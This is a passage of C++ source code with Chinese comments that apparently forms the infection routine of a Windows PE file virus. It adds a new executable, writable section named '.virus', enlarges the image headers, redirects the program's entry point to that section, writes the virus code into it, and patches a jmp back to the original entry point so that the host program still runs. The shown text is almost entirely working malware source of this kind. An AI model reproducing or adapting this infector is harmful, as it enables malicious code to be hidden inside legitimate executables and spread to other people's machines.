pNewFileNtHeader->OptionalHeader.SizeOfCode += nAlignNum *
pNewFileNtHeader->OptionalHeader.SectionAlignment;
//*****修改文件内存映像尺寸*****
pNewFileNtHeader->OptionalHeader.SizeOfImage += nAlignNum *
pNewFileNtHeader->OptionalHeader.SectionAlignment;
//*****修改新节的内存偏移量*****
//*****用原最后节的内存偏移加上原最后节对齐后的内存尺寸的大小*****
nAlignNum = pLastSec->Misc.VirtualSize /
pNewFileNtHeader->OptionalHeader.SectionAlignment;
if (pLastSec->Misc.VirtualSize % pNewFileNtHeader->OptionalHeader.SectionAlignment != 0)
{
nAlignNum ++;
}
pNewSec->VirtualAddress = nAlignNum * pNewFileNtHeader->OptionalHeader.SectionAlignment +
pLastSec->VirtualAddress;
//*****修改新节的内存尺寸*****
pNewSec->Misc.VirtualSize = dwFunCodeLen;
//*****更新新节属性*****
pNewSec->Characteristics = IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE |
IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE;
//*****更新节名*****
strcpy((char*)pNewSec->Name , ".virus");
//*****更新入口地址*****
pNewFileNtHeader->OptionalHeader.AddressOfEntryPoint = pNewSec->VirtualAddress;
BOOL bWrite;
DWORD dwHeaderSize , dwWriten;
dwHeaderSize = (DWORD)(pNewFileNtHeader->OptionalHeader.SizeOfHeaders);
bWrite = WriteFile(hNewFile , (LPVOID)pNewFileHeader , dwHeaderSize , &dwWriten , NULL);
//*****向文件中添加程序代码*****
DWORD dwSetFileP;
//*****定位到新文件中新节开始处*****
dwSetFileP = SetFilePointer(hNewFile , pNewSec->PointerToRawData , NULL , FILE_BEGIN);
if (!dwSetFileP)
{
cout << "SetFilePointer Error!" << endl;
goto CloseNewFileHandle;
}
//*****写入程序代码*****
bWrite = WriteFile(hNewFile , (LPVOID)dwFunBegAddr , dwFunCodeLen , &dwWriten , NULL);
if (!bWrite)
{
cout << "Write Virus Code Error!" << endl;
goto CloseNewFileHandle;
}
//*****定位到文件尾部*****
dwSetFileP = SetFilePointer(hNewFile , pNewSec->PointerToRawData +
pNewSec->SizeOfRawData , NULL , FILE_BEGIN);
if (!dwSetFileP)
{
cout << "SetFilePointer End Error!" << endl;
goto CloseNewFileHandle;
}
//*****设定文件结束*****
if (!SetEndOfFile(hNewFile))
{
cout << "SetEndOfFile Error!" << endl;
goto CloseNewFileHandle;
}
//*******修正原入口地址*******
PBYTE pModifyAddr;
pModifyAddr = (PBYTE)pNewSec->VirtualAddress;
pModifyAddr += dwFunCodeLen;
//printf("%x\n" , pModifyAddr);
int nSub; //跳转的距离
nSub = (PBYTE)(pNtHeader->OptionalHeader.AddressOfEntryPoint) - pModifyAddr;
DWORD dwModifyLoca;
dwModifyLoca = pNewSec->PointerToRawData;
dwModifyLoca = dwModifyLoca + dwFunCodeLen - 5;
//dwModifyLoca ++;
// *****定位到程序代码最后的五个字节处*****
dwSetFileP = SetFilePointer(hNewFile , dwModifyLoca , NULL , FILE_BEGIN);
if (!dwSetFileP)
{
cout << "Modify Address SetFilePointer Error!" << endl;
goto CloseNewFileHandle;
}
//*****修正jmp指令*****
BYTE bJmp;
bJmp = 0XE9;
bWrite = WriteFile(hNewFile , &bJmp , 1 , &dwWriten , NULL);
if (!bWrite)
{
cout << "Modify Address WriteFile Error!" << endl;
goto CloseNewFileHandle;
}
//*****修正跳转地址*****
bWrite = WriteFile(hNewFile , &nSub , 4 , &dwWriten , NULL);
if (!bWrite)
{
cout << "Modify Address WriteFile Error!" << endl;
goto CloseNewFileHandle;
}
//****************************************************************
//*******扫尾工作*******
//****************************************************************
CloseNewFileHandle:
CloseHandle(hNewFile);
FreeViewOfMap:
UnmapViewOfFile(pMapOfFile);
CLOSEMAPHANDLE:
CloseHandle(hMapFile);
CLOSEFILEHANDLE:
CloseHandle(hFile);
}